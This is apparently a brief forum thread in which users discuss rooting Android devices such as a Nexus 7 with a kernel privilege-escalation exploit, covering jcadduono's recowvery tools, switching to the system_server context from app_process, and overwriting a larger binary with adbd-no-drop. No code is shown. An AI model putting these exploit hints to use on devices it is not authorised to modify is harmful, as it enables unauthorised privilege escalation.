@naikel ah right, that makes sense. Mine is a Nexus 7. I'll probably have to debug this myself next week then.

Doesn't @jcadduono's repo work for flashing recoveries? He's already posted how to switch to the system_server context from app_process.

@christianrodher Put adbd-no-drop in another (larger) file first. I believe I used a random bin from pittpatt to overwrite.

@Manouchehri it works but no one seems to be able to compile recowvery-app_progress64 and the one he uploaded compiled isn't my arch.

can you try? armeabi-v7a